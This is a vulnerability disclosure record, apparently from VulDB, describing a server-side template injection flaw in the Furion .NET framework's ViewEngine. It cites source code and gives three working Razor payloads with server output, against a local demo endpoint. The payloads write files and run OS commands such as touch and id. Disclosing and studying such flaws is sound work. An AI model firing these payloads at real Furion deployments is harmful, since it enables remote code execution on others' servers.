Отправить #954714: 百签科技(广东)有限公司 Furion v4 RCEИнформация

Название百签科技(广东)有限公司 Furion v4 RCE
ОписаниеComplete PoC Description (1) Vulnerability Source Code Location and Root Cause (White-box Evidence; All Source Code Paths Are Relative to the Furion Source Code Root Directory): ① Entry Point: framework/Furion/ViewEngine/Engines/ViewEngine.cs, Lines 97–102 (RunCompile); Lines 111–116 in RunCompileAsync are similar. Template content is directly passed to the compiler without a whitelist or sandboxing options: // ViewEngine.cs (Lines 97–102) public string RunCompile(string content, object model = null, Action<IViewEngineCompileOptions> builderAction = null) { using var template = Compile(content, builderAction); // content Direct to compiler var result = template.Run(model); // Load and execute the generated assembly return result; } ② Compilation: framework/Furion/ViewEngine/Engines/ViewEngine.cs, lines 295–331 (Compile) → lines 536–632 (CreateAndCompileToStream). After the Razor source text is parsed into a C# syntax tree, it is compiled into an actual DLL using all assemblies currently loaded in the process as metadata references: // ViewEngine.cs (CreateAndCompileToStream, lines 573–608, excerpt) foreach (var assembly in options.ReferencedAssemblies) // Line 573: reference set = all assemblies in the host process { ... metadataReferences.Add(_metadataReferenceCache.GetOrAdd(assemblyLocation, loc => MetadataReference.CreateFromFile(loc))); } var compilation = CSharpCompilation.Create( fileName, [syntaxTree], metadataReferences, new CSharpCompilationOptions( OutputKind.DynamicallyLinkedLibrary, // The compilation output is a real DLL containing executable logic allowUnsafe: false, // The only "restriction": unsafe pointer syntax is disabled ...) ); var emitResult = compilation.Emit(memoryStream); // Line 608: Memory-to-disk DLL ③ Loading and execution: framework/Furion/ViewEngine/Internal/Penetrates.cs, lines 62–72. Compiled bytes are loaded via AssemblyLoadContext.LoadFromStream; the template class is then instantiated via reflection and its ExecuteAsync method is called—whatever code is written in the template, the server executes exactly that. The only constraint allowUnsafe:false merely disables pointer syntax and does not establish any security boundary. // ViewEngine/Internal/Penetrates.cs (lines 62–72) internal static Type LoadTemplateType(byte[] assemblyBytes) { var alc = new AssemblyLoadContext(TemplateTypeName, isCollectible: true); using var ms = new MemoryStream(assemblyBytes); var assembly = alc.LoadFromStream(ms); // Load compiled artifacts directly into the process return assembly.GetType(TemplateTypeName) ?? throw ... ; } (2) Source code reference method (how the vulnerable code is accessed by business code): The built-in sample in the repository, samples/Furion.Application/TestModuleServices.cs, lines 177–211, demonstrates the usage pattern of "passing a string variable to RunCompileFromCachedAsync for rendering." This example itself does not constitute an anonymous attack entry point; the dangerous condition in actual business scenarios arises when user input is concatenated into the template source text (e.g., rendering custom emails, notifications, or report content): // Dangerous usage: content comes from user-controlled input public async Task<string> Render(string userTemplate) => await viewEngine.RunCompileAsync(userTemplate); // Safe usage (comparison): Template is static text, user data enters only through model await viewEngine.RunCompileAsync("hello @Model.Name", new { Name = input }); (3) Complete PoC (local white-box environment, http://127.0.0.1:5002; demonstration interface source code in Appendix A, with its core being the "dangerous usage" line mentioned above): PoC-1 Arbitrary file write: GET /api/audit-vuln-demo/audit-view-engine-compile? template=@{System.IO.File. WriteAllText("/tmp/furion_ssti_pwned.txt","pwned@"+System.DateTime.Now); } HTTP/1.1 Host: 127.0.0.1:5002 Result: The server-side file /tmp/furion_ssti_pwned.txt was created (containing pwned@2026/8/27...), proving that the template content was executed as C# code on the server. PoC-2 Process derivation (the default reference set does not include the Process assembly; first bypass by loading it at runtime via Assembly.Load, then reflectively derive /usr/bin/touch): template=@{ var asm = System.Reflection.Assembly.Load("System.Diagnostics.Process"); var psiT = asm.GetType("System.Diagnostics.ProcessStartInfo"); var psi = System.Activator.CreateInstance(psiT, new object[]{"/usr/bin/touch","/tmp/ssti_touch_marker"}); psiT.GetProperty("UseShellExecute").SetValue(psi, false); asm.GetType("System.Diagnostics.Process").GetMethod("Start", new Type[]{psiT}).Invoke(null, new object[]{psi}); System.Threading.Thread.Sleep(800); }@System.IO.File.Exists("/tmp/ssti_touch_marker") Response (HTTP 200): {"statusCode":200,"data":"True",... } Server-side file system: -rw-r--r-- 1 mac wheel 0 Aug 27 17:33 /tmp/ssti_touch_marker ← File has indeed been created PoC-3 Command execution output echo (id command output piped back and included in HTTP response, directly proving command execution and output controllability): template=@{ var asm = System.Reflection.Assembly.Load("System.Diagnostics.Process"); var psiT = asm.GetType("System.Diagnostics.ProcessStartInfo"); var psi = System.Activator.CreateInstance(psiT, new object[]{"/usr/bin/id"}); psiT.GetProperty("UseShellExecute").SetValue(psi, false); psiT.GetProperty("RedirectStandardOutput").SetValue(psi, true); var procT = asm.GetType("System.Diagnostics.Process"); var p = procT.GetMethod("Start", new Type[]{psiT}).Invoke(null, new object[]{psi}); var reader= procT.GetProperty("StandardOutput").GetValue(p); }@reader.GetType().GetMethod("ReadToEnd", Type.EmptyTypes).Invoke(reader, null) The response (HTTP 200) body is echoed byte-for-byte as follows—the output of the operating system command 'id' is fully reflected back to the attacker: uid=501(mac) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts), 79(_appserverusr),80(admin),81(_appserveradm),33(_appstore),98(_lpadmin), 100(_lpoperator),204(_developer),... 2) Trigger Conditions ① The host application calls the compilation and execution entry points of ViewEngine (such as RunCompile, RunCompileAsync, RunCompileFromCached(Async), etc.), or executes a template returned by Compile; ② User-controllable content is mixed into the template source text content, including scenarios involving concatenation, forwarding, storage, and playback; ③ The actual impact of code execution depends on the host's authentication mechanisms, application process account, directory permissions, container or system isolation policies. It cannot be assumed that all deployments can write to temporary directories or spawn derivative processes. Whether login is required depends on the host application's authorization for these entry points—anonymous access is not automatically granted by the Furion framework. Company website: https://furion.net
Пользователь
 BlackSpdier (UID 89912)
Представление01.09.2026 04:02 (1 месяц назад)
Модерация10.10.2026 17:14 (1 month later)
Статуспринято
Запись VulDB416227 [Furion .NET Framework до 4.9.9.95 View Engine ViewEngine.cs RunCompile content эскалация привилегий]
Баллы17

Interested in the pricing of exploits?

See the underground prices here!